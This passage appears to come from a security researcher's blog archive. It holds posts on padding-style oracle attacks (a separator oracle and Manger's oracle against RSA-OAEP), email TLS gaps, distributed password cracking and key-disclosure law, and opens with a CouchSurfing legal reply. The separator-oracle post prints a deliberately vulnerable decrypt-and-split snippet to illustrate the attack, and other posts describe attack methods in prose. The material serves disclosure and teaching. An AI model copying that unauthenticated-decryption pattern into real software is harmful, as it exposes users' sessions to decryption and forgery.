3) The license under Section 5.3 gives us the ability to do things like display your name, pictures and other content on the website and through other CouchSurfing products as we develop them. However, it does not give us the ability to do whatever we want with your personal information. We cannot do anything with your information that is not clearly explained in our Privacy Policy. I would encourage you to take a look through that Policy here: http://couchsurfing.com/new_privacy and let me know if you have any further questions. Member privacy is very important to us.

4) This language is broad to allow us to develop new CouchSurfing products and features without having to rewrite the TOU at every turn. But please see above about how our Privacy Policy details exactly how and when we collect, use and share your information.

Hopefully this helps answer your questions, and thank you again for writing in. We truly do appreciate member feedback, and will take you suggestions into account as we continue to improve CouchSurfing.

Kind regards,

Cameron
Legal Counsel
CouchSurfing International, Inc.

An Attack on Unauthenticated Block Cipher Modes - Separator Oracle

25 May 2012 12:24:34 EST

Jon Passki came to me a couple months ago with an idea for a new adaptive ciphertext attack on block cipher modes - similar to the Padding Oracle or Manger's Oracle attacks. I found some ways to extend it, and we wound up collaborating on it - and we're finally able to publish it today.

Certain block cipher confidentiality modes, including CBC, CTR, CFB, and OFB, perform decryption with a final step that performs an XOR with ciphertext - often attacker-controlled. When an application decrypts altered ciphertext and attempts to process the manipulated plaintext, it may disclose information about intermediate values resulting in an oracle. The information disclosed may vary - it could be improper ASN decoding, an invalid timestamp, or what we focus on - invalid delimited values.

We use the common application pattern of encrypting delimited values, such as "username|timestamp|userlevel", and the common practice of raising an exception if the number of delimited values is not accurate. Application code could look like:

    ciphertext = read_from_cookie("sessionid")
    plaintext = decrypt(ciphertext)
    values = plaintext.split("|")
    if len(values) != 3:
        raise Exception("Incorrectly structured values")
    # Continue on processing data

By detecting this exception, which we call a SeparatorException, we are able to mount an adaptive ciphertext attack that allows us to decrypt the ciphertext. Additionally, after learning the plaintext, we can control the decryption to result in an arbitrary plaintext of our choosing. The solution of course is to verify the integrity of the ciphertext using either a Message Authentication Code (MAC) or an Authenticated Encryption Mode. Matt Green has a good blog post about how to choose an Authenticated Encryption mode.

The paper is available in a pdf, and code that demonstrates the attack on several block cipher modes is included at https://github.com/tomrittervg/separator-oracle.

The paper was updated June 3rd. Thanks to Juraj Somorovsky for pointing out some additional work on the subject.

This post originally appeared on iSEC Partners and Aspect Security

On the Sorry State of E-Mail Security

20 May 2012 23:34 EST

Something I've been interested in for the past few months is SSL/TLS, and in particular looking at undetectable attacks.

Censorship is detectable. You know you're being censored. Censorship always implies passive network tapping - the entity has to perform the tap to do the censorship. And censorship itself is an active attack - the entity blocks you from visiting the website.

But passive attacks are usually undetectable from the user's perspective. If a network is being tapped - either a corporate network, or the national backbone - you usually have no way of learning this. We have a pretty good idea that the NSA is tapping large swaths of the Internet, but because it's just whistleblowers it's not considered credible proof. The Swedish version however is well documented.

But active attacks aren't always detectable either. If Chrome didn't have cert pinning, who knows how long DigiNotar would have been undetected. If a CA is compromised, we won't be able to detect an attack. Bugs can bypass certificate validity checking too. It's a dangerous type of client bug that allows undetectable MITM, but we've seen them. And if a client isn't checking for the validity of a certificate, an attacker doesn't need a bug or CA compromise, they can just perform a MITM with a self-signed certificate.

When we think of "SSL clients" we think of web browsers. Sometimes email uses SSL too. Not always. When it doesn't, it's obviously easy to tap and read. But when it does, it's not much better.

Your individual client - Outlook or Thunderbird will require a valid certificate if it's configured to use SSL. But there's more to it than that. Without going into too much detail, Outlook is a Mail User Agent (MUA), and it talks to a Mail Transfer Agent (MTA). When you send an email, your MUA transfers it to a MTA, and the MTA transfers it to another MTA. That MTA-to-MTA transfer is rarely protected by SSL. When it is protected it rarely has a valid certificate. Even if it does have a valid certificate, it's almost never that a MTA requires a valid certificate.

The end result of this is that our entire email infrastructure is vulnerable to passive eavesdropping and undetectable active attacks. We have statistics. And we have examples. You can use the very awesome CheckTLS.com to run some tests on different mail servers. I ran a few tests myself:

Valid SSL Certificate
- Paypal
- Wells Fargo
- Bank of America
- PNC Bank
- StartSSL
- GeoTrust
- Thawte
- Visa
- VMWare
Has Invalid SSL Certificate

Google/Gmail, including Twitter and Github
Google Voice e.g. txt.voice.google.com
Youtube - bad wildcard
J.P. Morgan Chase
Citibank
ING Direct
Amazon
Tor Project (self-signed)
EFF (For a strange reason..)
Comodo (For a strange reason..)
Digicert (For a strange reason..)

Has no SSL Certificate

Hotmail
Yahoo
Facebook
Mail.com
Live
Mint.com
Discover Card
Entrust

There's no ubiquitous e-mail encryption (S/MIME or PGP), there's no requirement for a valid SSL certificate (for what it's worth), and there's no requirement for SSL at all. And there's no global plan for fixing it either. Yet.

Footnotes:

OONI, or the Open Observatory of Network Interference, was introduced at RECon 2011 (video of talk) and is a tool to detect surveillance and censorship in the world.

Even though Outlook and Thunderbird will require a valid CA-signed certificate if they're configured to use SSL, there's no Cert Patrol or Convergence for a mail client, so you'd never detect a CA compromise.

Black Hat EU Presentation: The IETF & The Future of Security Protocols

14 Mar 2012 04:05 EST

Just two weeks (to the day) after presenting Cloud & Control at RSA in San Francisco, I was in Amsterdam presenting at Black Hat EU. I've been getting more involved with the tremendous number of standards bodies and keeping track in my own head on what improvements are coming down the pipe - I decided it'd be worthwhile to quantify that in a talk (and whitepaper). The talk actually only brushes over some of the topics that I thought would be the most interesting to talk about - the whitepaper and slides contain way more info.

According to my filters, I'm on over 50 mailing lists and keeping track of everything is a pain - so I did it for you. The whitepaper, available here, covers a lot of topics. Improvements in and coming soon to browsers like Content Security Policy, Caja, Strict Transport Security, and Key Pinning; achieving authenticity through DNSSEC; and huge sections on TLS and PKI. I go into detail on TLS 1.1 and 1.2 including implementation issues, deployment, and why we'll never actually get the security of the protocols until we remove backwards compatibility; but also upcoming TLS changes like False Start and Next Protocol Negotiation. A couple larger topics in TLS like Channel Binding and Secure Remote Password, and a lot of smaller topics like Datagram TLS and Encrypted Client Certificates. Finally, I survey all the proposed fixes or replacements for the Certificate Authority system, from the very popularized like Convergence to the very obscure like YURLs. I pull out all the core concepts from the proposals to come up with a list of properties that can be used to evaluate all of the proposals and see where each falls short.

I put way more effort into the whitepaper than I think Black Hat expects, but once I started working on it I wanted it to be complete. It's likely to have some changes made - the current version is dated March 15, 2012, and is the first revision, containing a typo fix and a minor correction relating to RFC 5705 thanks to Adam Langley.

Update: The video has been posted by Black Hat. 160MB MP4.

An Open Letter to The Calyx Institute

29 Oct 2011 15:36 EST

Calyx Institute, Nick, et al

I can't express how impressed and inspired I was by Nick's prolonged legal battle. His willingness to stay the course, challenge the system meaningfully, and effect change is an inspiration to anyone who considers themselves a free speech advocate.

I want to make The Calyx Institute aware of a severe deficiency online, and hope to inspire you to do what you can about it. There are a number of individuals, nonprofits, and organizations that have run free-speech programs and services for years. But this has always been done ad-hoc, often resulting in problems and headaches. Services like Tor and remailers do generate legitimate abuse complaints. But these abuse complaints are often automated and ultimately do not stand up to the safe harbor provisions as a common carrier.

But that doesn't mean that Tor operators aren't forced to bounce hosting providers often. There doesn't seem to be any meaningful way for people to host these services without worrying at night about whether it will be there in the morning [1]. I won't confess to completely understanding the landscape of ISPs, ARIN, peering, and abuse contacts - but I do know there seems to be no way as an individual or even non-profit to find a reasonably priced host that supports free speech. I'm not looking for a host that turns a blind eye towards illegal activity, just one that understands that abuse notifications sent to a common carrier often have no teeth, and will pass them along to be dealt with by the individuals running the services.

I think the Calyx Institute, having been founded by someone who does understand the landscape, is uniquely situated in this area. It's not so much a matter of providing advice, as for years we've all talked to hosting providers until we're blue in the face - and still we got dropped by our providers. I hope Calyx Institute can grow to actually provide or partner with someone to provide the service, uplink, IP addresses, or whatever is needed to let individuals and organizations host our legal free-speech services. And give us the peace of mind to fight our own battles against corporations and the government - without also fighting our hosting provider.

-tom

Cosignatures:

[1] You can browse the torservers mailing list archives for some insight into the problems. http://www.freelists.org/archive/torservers/

Ekoparty Presentation: Cloud & Control

27 Sep 2011 23:05 EST

I gave my first presentation at a security conference on Friday, presenting at ekoparty on some work I did at the beginning of the year on distributing complex tasks to hundreds or thousands of computers. SETI@Home was the project that pioneered the idea of distributed volunteer computing, and their command & control software evolved into a generic project called BOINC. You can run just about any application in BOINC - whether it's open or closed source, uses GPUs, the network, or even if it's not CPU intensive (like nmapping the internet).

Setting up a server isn't the most exciting topic to talk about, so I used two examples to illustrate BOINC in my presentation: factoring RSA512 to recover the private key to SSL certificates or PGP keys and cracking passwords. Factoring was a huge success, but cracking didn't work out that well. BOINC was able to distribute the work and crack things really quickly - by splitting up wordlists automatically based on hash functions I was able to scale out to more machines than I think most people are able to... but the problem came from never actually looking at the output. The best crackers, especially in cracking contests, find patterns in the cracked passwords to make mangling rules and masks and crack more passwords. You could still use BOINC as a work distributor to scale out, but you need to be behind the wheel making work units - not use it as a fire-and-forget system.

Getting applications running in BOINC is a bit of trial and error. If it's an open source application, you have to patch it a little bit and if it's closed source you have to write a job.xml file defining how to run the application. In either case you have to define input and output templates that let BOINC know what files to send with the workunit and to expect the program to produce. And when I was sending a couple hundred MB wordlists and resource files, I wanted to compress them and decompress them on the client, so that added a little bit of work too. To try and make it easier on you, I've released all the scripts, templates, config files, and patches I created while working with BOINC. I've also not just released my slides, but annotated them with links to the reference material for everything mentioned. Everything is up on github.

I've wanted to factor large numbers for a while, and this was actually what got me into this whole mess. I have some (simple) observations about factoring using the General Number Field Sieve, as well as instructions for how to do it yourself (with or without BOINC).

I have to thank Leonardo and all the ekoparty organizers for putting on a great conference. They went out of the way to make the international arrivees as comfortable as possible, and even had simultaneous translation from english to spanish and from spanish to english. Buenos Aires is a wonderful city, and I really recommend you visit!

This writeup originally appeared on the Gotham Digital Science blog.

Non-Persistent PGP Keys

3 Aug 2011 16:09:36 PST

I just got out of Dan Kaminsky's talk at Black Hat where he talked about a myriad of topics, but the one I want to focus on was his tool Phidelius. It's a library you reference with LD_PRELOAD that hooks /dev/random, /dev/urandom and some other functions that un-randomizes the random data that key generators like gnupg, openssl, or ssh-keygen uses.

Why would you want to do that? Well, instead of using a random stream of bytes - it uses a reproducible stream of bytes based off a password/passphrase. The bytes could come from any key derivation script, but both Dan and I chose scrypt, by Colin Percival.

His tool is considerably more robust than mine and works with many different programs without modification - mine specifically generates OpenPGP keys. And as he noted in his talk - while you can do this - that doesn't mean it's a good idea.

The idea has probably been public for some time now, although I couldn't find an example of - and since Dan has shouted it out, I figured now's the time to release my code and let people play with it while they're interested. Anyway, there are a ton of caveats, some of which I'll list:

This is pre-alpha. There may be straight-out-bugs in my code.
Two people using the same password and scrypt keys would generate the same public keys. I think this is less of an issue than Dan, I assume people using my code would use strong passphrases.
While it works and is usable, it relies on a bunch of tricks/hacks.
The public key generated has a different KeyID each time, because the KeyID is a hash over the public key parameters, which includes the date it was created.
This may generate keys +/- a few bits off the stated length (2047 instead of 2048)
The key generated is unencrypted - meaning there's no passphrase on your secret key.
You'd have to have a crazy threat model for this to be a good idea.
You don't have that threat model, and if you do, you still shouldn't use this code in real life.

The code is located here.

US v Fricosu - Compelled Disclosure of Encryption Keys

11 Jul 2011 18:36 EST

I am not a lawyer, and this blog does not constitute legal analysis. It should be taken merely as speculation and pointers to topics for you to do your own research on. Throughout this blog post I'm going to use this notation to indicate a word has a specific legal definition, and I'm not using the word colloquially.

One of the biggest targets of armchair lawyers on blogs, twitter, and reddit (myself included) has been whether or not the government can force you to turn over your encryption key. An actual lawyer, a law professor in fact, has written a series of posts on the theory, and details of the two cases that address the issue.

Encrypted Hard Drives and the Constitution - August 23, 2006 - The first time the question is raised, in a purely hypothetical way. It lays some information down you should fully grok - for example Miranda rights don't apply in many cases because you are not in custody and the 5th Amendment does not apply because you are not being compelled to produce testimony. It references the 1988 Doe vs United States case which addressed the question of applying the 5th Amendment to physical evidence (like a key to a safe) and to communication (like a memorized combination to a safe).
Court upholds using the Fifth Amendment to refuse to disclose your password - December 15, 2007 - The first post regarding an actual case, United States v. Boucher. The U.S. District Court for the District of Vermont held that Boucher could invoke the Fifth Amendment and refuse to comply. It again goes into detail about testimony and custody.
5th Amendment Bummer - March 06, 2009 - An update on United States v. Boucher. The Government appealed, and modified their request. Now they were no longer after the password, but instead were trying to compell Boucher to show the unencrypted files to a Grand Jury. They crucially changed the argument from communication (exempt via the 5th amendment) to producing physical evidence (not exempt, see Doe vs United States 1988). The court bought the new argument and stated Boucher must produce the unencrypted contents by the date specified or be held in contempt (which amounts to sitting in jail until you comply).
Passwords and the 5th Amendment Privilege - April 28, 2010 - This post addresses U.S. v. Kirschner a case in the U.S. District Court for the Eastern District of Michigan. The government erred in this case by specifically seeking testimony and even using the analogy "It's like giving the combination to a safe." which we mentioned earlier was protected. The government's subpoena was quashed.

Now, updates on those two cases. According to the headline article "Boucher eventually complied and was convicted." Brenner speculated the government would appeal to the 6th Circuit in Kirschner (and based on the Obama adminstration's judicial actions I would expect so too), but I haven't been able to find any evidence of that - so I'm not sure what happened to Kirschner.

Now let's examine the current case - US vs Fricosu. It's in the United States District Court for the District of Colorado. I'm not sure how Fricosu is represented, but the case gained attention after the EFF filed an amicus brief in the case Friday. If you're unfamiliar with the term, it does not mean the EFF is involved in the case or representing Fricosu, only that they're interested in it and presents a supporting arguement to the court on behalf of Fricosu.

Now, again, I don't know the exact request made by the prosecutor, but quoting the article:

Prosecutors stressed that they don't actually require the passphrase itself, meaning Fricosu would be permitted to type it in and unlock the files without anyone looking over her shoulder. They say they want only the decrypted data and are not demanding "the password to the drive, either orally or in written form."

As we saw in Boucher, this doesn't bode well because they're taking the physical evidence approach. ~~The best-case scenario is the prosecution argues the physical evidence approach and the court strikes it down. We'll have to wait and see.~~ Now the EFF argues in their Amicus Brief that producing the decrypted contents should not be required, because doing so is testimony. Specifically, the government has not shown that Fricosu has control or knowledge of the contents of the laptop, therefore by decrypting the contents she is testifying to authority. (This has to do with the legal term forgone conclusion.) You should definetly read the brief as it goes into a lot of precedence and case law. It's also worthwhile to note that in Boucher, the contents of the encrypted drive were a forgone conclusion as Boucher has previously revealed them to a Customs officer.

But there are some other evidentiary issues here. You should definitely take this with a grain of salt - I've read Law School Evidence books, and did not do well on the practice tests. With computer cases, there's a lot of chain of custody, verification stuff that's got to be done. Image the drive, use a write-blocker, show the chain of custody that it couldn't have been altered... But the process they are describing would shoot the normal evidence handling process to hell. It'd be near-impossible to satisfy both sides.

Consider the case where Fricosu enters the password into a specially built program that's designed to decrypt with write-blocker and preserve evidence. Fricosu would have a strong argument the government could actually obtain the passphrase from her via subtle means. (I'm assuming the drive in question is the boot drive on a laptop - if it was a truecrypt container, the scenario changes.) While there may be assurance the evidence wouldn't be altered, there is none the government isn't taking the passphrase. (Now there could be some shenanigans with the government granting immunity for the passphrase but not the contents... I'm not sure how that'd work.)

Now consider the case where Fricosu enters the passphrase for the laptop in court in front of the grand jury - no write-blocker involved and no protections in place. Fricosu would have an argument that the evidence could have been altered and should not be admitted (e.g. by normal operating system boot-up, or a malicious virus on the machine, or simply by a script she wrote to delete sensitive files on startup). These issues can be overcome by the court, but they are argued on their own. Brenner has written articles in this area as well. On this topic, it'd be trivial for me to write a startup script on my machines that says "Have I been turned on in the last 2 months? No? Okay, shred all the sensitive stuff...."

Another nice thing about this case is that unlike Boucher and Kirschner; Fricosu isn't accused of child pornography. I imagine it's difficult for lawyers to argue civil liberties when the individual you're protecting is rather obviously someone involved in transporting or concealing child porn. Certainly there are arguments that everyone deserves a fair trial - and they do... but there's also the reality of the crime.

Update: July 20, 2011 Susan Brenner of the previously super-linked cyb3rcrim3 has graciously obtained the government motion in the case, sent it to me, and allowed me to post it before her. You can download the pdf here or view it in google docs.

The motion doesn't go into details about what type of encryption software was used, but do imply that the entire computer is protected - so probably PGP WDE or Truecrypt. It gives several details that apply to the arguement of whether or not Fricosu has control or knowledge of the computer, and also directly says:

As the act of production might potentially entitle Ms. Fricosu to assert her right to refuse under the Fifth Amendment of the United States constitution, the Government has sought approval to seek this court's grant of limited immunity, thus precluding the Government using her act of producing the unencrypted contents against her in any prosecution.

One of the last arguments made by the EFF in their amicus brief is that Fricosu is justified in refusing to provide the password because that limited immunity does not include a "guarantee against use or derivative use of the information". That is:

When a witness's act of production is testimonial in character, the government must grant use and derivative-use immunity to satisfy the Constitution.s requirements. Hubbell I, 530 U.S. at 41-46. This means that the government may not use the act of production itself against Fricosu, nor any evidence on the computer derived from the act of production. ... Should the Court decide that Fricosu must supply the data on the laptop in decrypted form, the government will face a .heavy burden of proving that all of the evidence it proposes to use [from the laptop] was derived from legitimate independent sources. (emphasis mine)

The strongest argument is this: "I do not believe he can be compelled to reveal the combination to his wall safe". But where does it come from? From the Supeme Court Case Doe v United States 487 U. S. 201 (1988). But it wasn't the major finding of the case. Rather, it was made in two places. Second, most plainly, in a comment by Justice Stevens in a dissenting opinion: "He may in some cases be forced to surrender a key to a strongbox containing incriminating documents, but I do not believe he can be compelled to reveal the combination to his wall safe -- by word or deed." And the first, a weaker one, in an implication in a footnote of the Majority Opinion:

We do not disagree with the [prior statement] that "the expression of the contents of an individual's mind" is testimonial communication for purposes of the Fifth Amendment. We simply disagree with the [prior conclusion] that the execution [at issue here] forced petitioner to express the contents of his mind. In our view, [the compulsion] is more like "being forced to surrender a key to a strongbox containing incriminating documents," than it is like "being compelled to reveal the combination to a wall safe."

I heavily hacked that up to make it easier to understand absent details of the Doe case, you can see it in the original form by searching for "wall". But lawyers are really good at this. The majority opinion did not say that the wall safe was protected speech like Stevens did, only that this instance was unlike a wall safe. I think it's plain to see that a wall safe is a very good analogy for encryption. They're not perfect - but a very good wall safe could not be opened forcibly without destroying the papers inside, and good encryption cannot be opened reasonably. We have to hope the court finds that producing the contents of a wall safe or encrypted container would be an "expression of the contents of an individual's mind".

Now I wonder about keyfiles. If the government didn't know how to unlock a truecrypt container, they could try to compell you like this. But there is no password. And you tell them this, you tell them it is unlocked with a keyfile. So they demand you produce the keyfile. Here's where it gets tricky... Could you say "You have the keyfile already, and my telling you which one it is is protected."? You can't prove they have the keyfile without giving it to them - there's no zero-knowledge proof possible here. Any attempt to construct one would fail because no judge would accept the rigor required for a zero-knowledge proving. I wonder how keyfiles would be treated...

I expect to update this over the next few days as details emerge. Updates will not trigger a new RSS entry, but will be announced on Twitter.

Beyond Padding Oracle - Manger's Oracle and RSA OAEP Padding

2 Jun 2011 12:56:34 EST

Several months ago I was looking at the proceedings from #days 2010 and read Pascal Junod's slides Open-Source Cryptographic Libraries and Embedded Platforms. In them, he mentioned James Manger's attack on RSA OAEP, a padding scheme first defined in PKCS #1 v2.0. I hadn't heard of it before, and it interested me enough to investigate. (The paper is available via Google or ACM if you're a member.)

The basics of the attack are similar to the Padding Oracle attack in that a small piece of information is exposed via error messages and doing some clever math you can use that to retrieve the plaintext from the ciphertext. After the ciphertext is decrypted, the OAEP decoding process begins. The decrypted plaintext is supposed to fit in one less byte than the maximum size of the ciphertext. If the plaintext does not have a 00 in the highest byte, the ciphertext is considered to have been tampered with and an error is returned. Because of the properties of RSA, you can directly influence the plaintext p by multiplying the ciphertext c by x^e mod n - where e is the exponent from the public key, n the modulus, and x the arbitrary number you want to multiply the plaintext by. This will produce a plaintext p*x mod n after decryption.

Manger's Oracle relies on manipulating the plaintext and detecting when it has overflowed into the highest byte. Using a method reminiscent of binary search, the possible values of the plaintext are narrowed down until only one remains - allowing recovery of the plaintext from the ciphertext. The number of oracle queries needed depends on keysize; for 1024, it's around 1200.

I checked the popular implementations of RSA-OAEP and found none of them vulnerable to Manger's Oracle. OpenSSL specifically protects against it, calling Manger out by name in the comments. BouncyCastle and the .NET implementation were secure because they didn't throw an error if the first byte was non-zero (probably on the assumption that another part of OAEP, the hash, wouldn't match). Libgcrypt didn't implement RSA-OAEP - a patch had been provided a few years ago, but it was never merged... until a few weeks ago when it was committed to trunk.

The new code wasn't actually directly vulnerable - the same error code was returned no matter the type of error that occurred. Regardless, I decided this would be a fun exercise and set about implementing the attack. I got it working; but only after editing the source of libgcrypt to 'cheat', providing my own oracle. I managed to find a mistake in the original paper too, a floor() that should have been a ceil() - detailed in the code linked later.

Since I modified the libgcrypt code to provide an oracle, it was an overly contrived example, but it seemed like it might be possible to exploit it using a timing attack. After measuring and graphing the differences between the two cases, I saw you could determine the error from timing information - so long as you looked at the percentiles over a sufficient number of trials, as shown below. It isn't 100% reliable, but I was able to get a working proof of concept going with just timing information.

Left two box plots show the longer execution time, right two show the shorter.

I've published the code to exploit the oracle in a contrived case, and included the code and steps to demonstrate the timing differential. The code is on github, and as far as I know, this is the only public implementation of Manger's Oracle. (Although apparently it is assigned as homework somewhere...)

"OAEP Padding" is indeed an example of RAS Syndrome

This writeup originally appeared on the Gotham Digital Science blog.

Examining the CA/Browser Forum Requirements Draft

25 Apr 2011 23:36 EST

I've heard it from three different sources: Certificate Authorities will make verification more painful, more costly, and more difficult - but only if they're mandated industry-wide. They can't add overhead their competitors can skip on. The CAs and Browsers have been working together in the CA/Browser Forum to come up with new requirements for Certificate Authorities. The Public Comment period on the draft of these requirements is ongoing until the end of May, and takes place on mozilla.dev.security.policy. I read through the draft, and I didn't have many actual comments (aside from one question I posted to the SSL Observatory list and one clarification I requested) - but I wanted to highlight a few points from it.

The requirements are "a subset of the requirements that a Certification Authority must meet in order for its Certificates to be Publicly Trusted." They apply only to SSL/TLS Certificates: "Similar requirements for code signing, S/MIME, time-stamping, VoIP, IM, Web services, etc. may be covered in future versions."

It talks a lot about verification requirements to ensure the applicant is who she says she is in the event the cert will contain Subject Identity Information, but more importantly talks about how the domain and/or IP addresses will be verified:

If the CA uses the Internet mail system to confirm that the Applicant has authorization from the Domain Name Registrant to obtain a Certificate for the requested Fully-Qualified Domain Name, the CA MUST use a mail system address formed in one of the following ways:

Supplied by the Domain Name Registrar

Taken from the Domain Name Registrant's .registrant., .technical., or .administrative. contact information, as it appears in the Domain's WHOIS record

By prepending a local part to a Domain Name as follows:

Local part - One of the following: "admin", "administrator", "webmaster", "hostmaster", or "postmaster"

Domain Name . Formed by pruning zero or more components from the Registered Domain Name or the requested Fully-Qualified Domain Name.

So the old trick of registering one of these reserved email addresses might just work depending on the domain. And if the domain uses Anonymous Whois (Proxy Registration), that organization must be contacted to confirm the application is legit (so you could target those guys).

What is interesting though, is the wording in that section, emphasis mine: "If the CA relies on a confirmation of the right to use or control the Registered Domain Name(s) from a Domain Name Registrar", "If the CA uses the Internet mail system to confirm", "If the Domain Name Registrant has used a private, anonymous, or proxy registration service". It's a bunch of If's. There's no MUST or SHOULD stating that one of these methods are the only allowed.

Which lead me to ask about it - are these the only methods? Is this vagueness intentional? I gave the example of another verification method being via telephone from the WHOIS information. The responses are coming in privately and will be posted shortly I'm sure - but it does seem to be intentional. As Ian G says "the high level document should state the high level requirement, and leave implementation to the CA". He goes on to say that the audit process intended to ensure that the implementation is valid. (I'll talk about that below.) And Stephen Davidson mentions "There are a number of US patents covering aspects of domain validation for SSL certificates. The BR has to tread a fine line between laying out good practice and requiring CAs to follow a process that might intrude on a patented process." Sheesh. Patents on how to check someone's ID. /grumble

Edit:It seems this topic may have been accidently double posted (I submitted it first under a topic and a couple days later after it never showed up as a reply). The two threads are BR11.1 Authorization by Domain Name Registrant and BR11 -Validation Practices. A proposal to have methods listed in a wiki page referenced by the requirements has seen support, to ensure the methods are acceptable. There's definetly some questions about how that would work (can methods be removed? what's the approval process?) - but it's a step forwards and what I wanted to point out.

This next bit about audits is notable:

At least once every eleven to thirteen months following the previous independent audit (in order to accommodate an auditor's schedule), the CA MUST be independently examined for compliance with the requirements of one of the eligible audit schemes listed in Section 16.1.
...
The audit report MUST be made publicly available. For both government and commercial CAs, the CA SHOULD make its audit report publicly available no later than three months after the end of the audit period. In the event of a delay greater than three months, and if so requested by an Application Software Supplier, the CA MUST provide an explanatory letter signed by its auditor.

An "Application Software Supplier" is one of Apple, Google, KDE, Microsoft, Opera, RIM, and Mozilla. More interesting are the "eligible audit schemes" listed:

WebTrust for Certification Authorities v1.0 or later
ETSI TS 101 456 v1.2.1 or later
ETSI TS 102 042 V1.1.1 or later
ISO 21188:2006, completed by either a licensed WebTrust for CAs auditor, or an audit authority operating according to the laws and policies for assessors in the jurisdiction of the CA
If a Government CA is legally required to use a different internal audit scheme, it may use such scheme provided that: (a) the audit encompasses all requirements of one of the above schemes, and (b) the audit is performed by an Appropriate Internal Supervisory Government Auditing Agency, separate from the CA, that meets the requirements of Section 16.4.

Since the people who read audit schemes and the people who read this blog are wholly orthogonal - here's some light details. First off, these are audits, not penetration tests or code review. And if we learned something from the Comodo debacle (assuming you believe the posted code) - it's that poor code and mediocre defenses do exist even in critical endpoints. The types of issues that exist in the nitty-gritty (hardcoded passwords, exposed administrative interfaces, password-based authentication instead of client certificates, and conceivably whatever bug enabled the Iranian to get the DLL in the first place) - should have been identified by a pen test. But an audit is more likely to gloss over the details.

But, putting aside my feelings of an audit compared to a penetration test (or an 'Advanced Persistent Test' if you're AR), it is encouraging that the audit report is required to be make available.

There's this small bit:

The CA and its RAs SHALL NOT archive the Subscriber Private Key.

If the CA, or any of its designated RAs were to generate a Private Key on behalf of the Subscriber, then the CA MUST encrypt the Private Key for transport to the Subscriber.

If the CA, or any of its designated RAs were to become aware that a Subscriber's Private Key had been communicated to any person or organization not affiliated with the Subscriber, then the CA MUST revoke any certificates that include the Public Key corresponding to the Private Key that has been communicated.

I don't see SHALL used too often, but it is a synonym for MUST, to save you the time of looking it up.

Now, for the paranoid crowd: what about collusion between a CA and the government? If it was proven that a CA had issued a cert for government interception, that CA would pretty quickly be untrusted by users, and probably browsers as well. It's incentive for a CA not to do so, since such an action puts its business at risk. But let's check the relevant sections of the doc:

8.1 Compliance

The CA MUST at all times: Comply with all law applicable to its business and the Certificates it issues in each jurisdiction where it operates

Could a judge order a CA to do the government's bidding and sign a CSR for law enforcement? Well, practically speaking I'm not qualified to answer this. There's not a lot of people who are. I credit Dino Dai Zovi when I say: "The people who are qualified to speak about the topic won't and can't, so by definition the only people speaking are people unqualified." I'll just note that by stretching parts of the Requirements (stretching "right to use, or had control of, the Domain Name and IP address") and emphasizing compliance with applicable law - they'd have somewhat of a defense from an industry sanction. Not from the people on the internet of course.

Now what about law enforcement trying force a CA to revoke a cert? This was a wondering I had that I posted to the SSL Observatory list. It came about from the following segments:

10.3.2 Agreement Requirements

The Subscriber Agreement MUST contain provisions imposing on the Applicant itself (or made by the Applicant on behalf of its principal or agent under a subcontractor or hosting service relationship) the following obligations and warranties:

Use of Certificate: An obligation and warranty to install the Certificate only on servers that are accessible at the subjectAltName(s) listed in the Certificate, and to use the Certificate solely in compliance with all applicable laws and solely in accordance with the Subscriber Agreement

...

12.2.3 Investigation

The CA MUST begin investigation of a Certificate Problem Report within twenty-four hours of receipt, and decide whether revocation or other appropriate action is warranted based on at least the following criteria:

The nature of the alleged problem

The number of Certificate Problem Reports received about a particular Certificate or Subscriber

The type of the complainants (for example, a complaint from a law enforcement official that a Web site is engaged in illegal activities should carry more weight than a complaint from a consumer alleging that she didn't receive the goods she ordered)

Relevant legislation.

The certificate recipient must abide by "applicable laws" - but those laws may differ from the Certificate Authority's. Then a specific scenario of law enforcement complaining to a CA is given. When you couple that with the DOJ's over-reaching domain name seizures - well, personally I think it's a matter of when, not if, the government uses this tactic to harass sites extra-jurisdictionally.

Regional Broadcast Using an Atmospheric Link Layer

1 Apr 2011 00:00:00 GMT

I've been working on a document for a while, and I'm happy to announce it's made it's way through the committees and has been accepted by the IETF. It's the result of about 2 years of (non-contiguous) idle thought, bouncing ideas off people, and editing. But what is it about?! Well, as the internet has grown the concept of a LAN changed from the original concept of a Local Area Network where "Local" meant geographic. Now, "Local" is a logical grouping - a company has a LAN, but its members are spread through the globe, linked by VPNs. I wanted to get back to geographic based packet transmission. It's all the rage after all - every social media app wants to show you what's happening nearby, where your friends are, and so on.

So this is my contribution. Using the methods defined in the RFC, you can transmit text or binary data to a local geographic area. It doesn't add congestion on existing copper or fiber, it's carrier independent, it doesn't require or deplete mobile data plans. You can use it just as easily in New York City as in Kigali. And since we care about regional transmission, we can adapt some settings to local standards, like the UTF Code Page most common. Anyway, here it is: RFC 6217: Regional Broadcast Using an Atmospheric Link Layer.

There are a few rough patches in there regarding technicalities or practicality (trust me, I agonized over them), but I think they accurately indicate the point behind the illustration.

Update: I made Slashdot

bleed-through badges

9 Feb 2011 23:36:00 EST

I got some bleed-through badges at a client the other month. I was curious to see if I could somehow prevent the bleed-through, and you absolutely can.

NYU Poly CSAW CTF Finals Challenge

18 Nov 2010 23:08:34 EST

A few weeks ago NYU Polytechnic held the final round of their Capture the Flag. Marcin previously wrote about his challenge for the qualification round. We both wrote challenges for the final round, and my challenge was primarily based around steganographic tricks with file formats, surrounded by some simple cryptography.

Introduction

The first things you received were a bat script and a multi-part file, without an extension. The bat file copied the second file twice and appended .jpg and .zip extensions as hints. It's a fairly well known secret that you can combine jpg and zip files into a single file, and it's 'valid' as both - but 'valid' is in quotes for a reason. You actually need to do a bunch of byte manipulation to get this into a legal format - you can read about how it works over in my stackoverflow answer here.

The jpg-part of the multi-part file was a reference to the movie Hackers, after which the challenge was themed. Within the zipfile-part was an executable which when run would look for the multi-part file and then display a prompt:

Entering Hackers-themed words would get you images, an mp3 snippet, hints, and even the hacker's manifesto:

Exploring the Code

But none of these were the key of course. .Net is trivial to disassemble, and I was counting on that. The code in the program seeks past the jpg-part of the multi-part file, and then reads blocks of data from the middle - stopping when it reaches the zip-part of the file. (So the file had three parts: jpg, zip, and in-between: an arbitrary binary format). The password entered is hashed, and used to key a dictionary. The value of the dictionary is used to attempt decryption of each block of data read from the middle of the file. When it succeeds it will - depending on a sentinel byte - show an image, text, play a song, or write out a file. Now because you can disassemble the program - you can see all the dictionary values, and therefore you can decrypt the blocks of data without ever needing to know the password.

But that would be too easy - so not all the encryption keys are in the dictionary. If your hashed password is not found in the dictionary, it is used itself. The encryption algorithm chosen was XTEA, and the key itself was neutered down to 27 bits. The encrypted blocks were easily brute-forced. (And XTEA is a very simple algorithm to implement).
